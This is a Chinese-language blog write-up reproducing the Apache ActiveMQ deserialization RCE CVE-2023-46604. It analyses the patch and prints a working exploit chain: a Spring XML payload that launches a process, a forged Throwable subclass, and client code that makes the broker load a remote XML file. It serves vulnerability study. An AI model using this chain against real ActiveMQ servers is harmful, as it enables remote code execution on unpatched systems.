ActiveMQ (CVE-2023-46604)

Posted by Azeril on January 6, 2024

ActiveMQ (CVE-2023-46604) 那就先复现一下这个漏洞

漏洞描述

Apache ActiveMQ中存在远程代码执行漏洞具有Apache ActiveMQ服务器TCP端口默认为61616访问权限的远程攻击者可以通过发送恶意数据到服务器从而执行任意代码
影响版本
Apache ActiveMQ < 5.18.3
Apache ActiveMQ < 5.17.6
Apache ActiveMQ < 5.16.7
Apache ActiveMQ < 5.15.16

学到了github比对版本差异的一个小方法

在github url地址后面加一个,/compare进行比较

base是之前的版本,compare是之后的

image-20240105181808805

下面是实现的效果,感觉在通过漏洞修复去复现漏洞的时候蛮有用的

image-20240105181902557

这里发现了这样的一个改变,限制了必须是Throwable的子类

image-20240105182753096

以前也见过这样的漏洞就是为了防治实例化任意的类对象,看下面的代码,绿色的是新版本添加的,如果没有validateIsThrowable不就有任意实例化String有参构造方法了嘛?

(正好前几篇的postgrasql也是这样子造成的漏洞,进一步触发EL、然后fileoutput情况指定文件这种)

image-20240105183016311

所以我们可以确定,污点就是BaseDataStreamMarshaller.java这个类,(刚回去看了看postgresql那个CVE,真的是一模一样连漏洞出发点,修复方案都一样)

org.springframework.context.support.ClassPathXmlApplicationContext

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:p="http://www.springframework.org/schema/p"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans.xsd">
<!--    普通方式创建类-->
   <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
           
            <value>calc.exe</value>
          </list>
        </constructor-arg>
    </bean>
</beans>

直接实例化触发校验一下(。。。真的不会搞环境,搞了1个小时,最后直接导了个jar包)

发现BaseDataStreamMarshaller是一个抽象类,找他的子类,这里找的是ExceptionResponseMarshaller

image-20240105193721382

createThrowable是一个私有的方法

image-20240105193951459

到这里我自己想的就是逐层调用直到一个我们能控制的页面比如jsp或者反序列化传参点这种

继续网上找发现仍然不是public权限,是一个包权限

image-20240105194531622

接着就是我们上面的那个类的方法,ExceptionResponseMarshaller#tightUnmarshal,这样就成了public都是可以调用的,到这里已经可以手动触发漏洞,但是还差一点

image-20240105194816638

到这里卡住了,调用tightUnmarshal的方法实在太多了不知道用哪一个。。。(如果一个个实验的话感觉不太对)

image-20240105195154972

看了看师傅们写的文章大体看懂了先总结一下(明天在详细分析)

doUnmarshal  就相当于一个反序列化

image-20240105214127875

image-20240105214218561

这个 dataType 其实对应的就是 Message 类内部的 DATA_STRUCTURE_TYPE 字段

但是默认的demo 中我们发送的是一个 ObjectMessage (ActiveMQObjectMessage) 对象, 它的 dataType 是 26

image-20240105214340742

我的第一想法就是直接改成31不就行了嘛(这里还没懂,下面是佬们的想法)

我一开始的思路是去修改 ObjectMessage  DATA_STRUCTURE_TYPE 字段, 把它改成 31 然后发送

后来想了一会发现不能这么搞, 因为对于不同的 Message 类型, 序列化器会单独进行处理, 比如调用 writeXXX  readXXX 的类型和次数都不一样

然后目光放到了传参这里,dataType是从dis中获得的,那么控制dis不就可以控制dataType了嘛~~~

image-20240105214725528

就是在这里

image-20240105214852297

image-20240105215045552

上面是反序列化我们直接看序列化的流程即可

看marshal的上层调用方法,是 TcpTransport#oneway

image-20240106121736421

这里是原本的内容
//    public void oneway(Object command) throws IOException {
//        this.checkStarted();
//        this.wireFormat.marshal(command, this.dataOut);
//        this.dataOut.flush();
//    }
这里是重写的内容
public void oneway(Object command) throws IOException {
    this.checkStarted();
    Throwable obj = new ClassPathXmlApplicationContext("http://127.0.0.1:8000/poc.xml");
    ExceptionResponse response = new ExceptionResponse(obj);
    this.wireFormat.marshal(response, this.dataOut);
    this.dataOut.flush();
}

可以发现我们直接重写了方法,ExceptionResponse的参数需要是Throwable类型,Throwable obj = new ClassPathXmlApplicationContext这里也重写了ClassPathXmlApplicationContext这个类,让它继承否则不能强转,能执行上面的操作

其实都是因为,序列化的时候可以修改并且反序列化并不会被影响(jackson就重写了某个类的方法不然不能序列化,但我觉得仅仅是序列化赋值,因为反序列化的代码我们是不能改动的,只是把值放进去了)

脑子的错误思考

既然可以修改序列化那直接重写方法直接弹shell???
确实是可以赋值但具体的操作还是得看反序列化~~~
package org.springframework.context.support;

public class ClassPathXmlApplicationContext extends Throwable{
    private String message;

    public ClassPathXmlApplicationContext(String message) {
        this.message = message;
    }

    @Override
    public String getMessage() {
        return message;
    }
}

然后是从网上找一个使用案例即可

import org.apache.activemq.ActiveMQConnectionFactory;
import org.apache.activemq.command.ActiveMQObjectMessage;
import org.apache.activemq.command.ExceptionResponse;
import org.apache.activemq.openwire.OpenWireFormat;
import org.apache.activemq.openwire.v1.BaseDataStreamMarshaller;
import org.apache.activemq.openwire.v1.ExceptionResponseMarshaller;

import javax.jms.*;


public class poc {
    public static void main(String[] args) throws JMSException {

        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://localhost:61616");
        Connection connection = connectionFactory.createConnection();
        connection.start();
        Session session = connection.createSession(true,1);
        Destination destination = session.createQueue("tempQueue");

        MessageProducer producer = session.createProducer(destination);
        Message message = session.createObjectMessage("123");
        producer.send(message);
        connection.close();
    }
}

序列化链子,记得开启服务端,因为漏洞就是客户端远程命令执行服务端,没服务端😂😂😂

image-20240106122752311

因为我的服务端搭建在了本地,所以本地弹出了计算器

image-20240106123012320

poc.xml

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:p="http://www.springframework.org/schema/p"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans.xsd">
<!--    普通方式创建类-->
   <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>calc.exe</value>
          </list>
        </constructor-arg>
    </bean>
</beans>

还有一种直接传入的方法,只需重写ClassPathXmlApplicationContext即可

ConnectionFactory connectionFactory = new
ActiveMQConnectionFactory("tcp://localhost:61616");

Connection connection = connectionFactory.createConnection();
connection.start();
ActiveMQSession session = (ActiveMQSession) connection.createSession(false,Session.AUTO_ACKNOWLEDGE);
ExceptionResponse exceptionResponse = new ExceptionResponse();

exceptionResponse.setException(new ClassPathXmlApplicationContext("http://127.0.0.1:8000/poc.xml"));

session.syncSendPacket(exceptionResponse);

connection.close();

从syncSendPacket逐层调用,最终到达request方法中, asyncRequest是序列化,然后再getResult服务端又进行反序列

image-20240106130420242

总结:

通过修复地方就可以看到漏洞原因任意类的有参实例化导致触发了漏洞
org.springframework.context.support;ClassPathXmlApplicationContext  又因为项目中有springboot依赖导致触发加载远程xml

2024.8.8

呃呃呃现在还记得,当时搞这个mq漏洞的时候,是期末在图书馆搞的,旁边偶遇dk1、2班的人 当时可能在学呃呃呃忘了,反正记忆听深刻的,没想到在议题上又看到了这个漏洞的不出网利用,这次在LAB hvv实习中,感慨万分呀。嗨老了


Creative Commons License
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。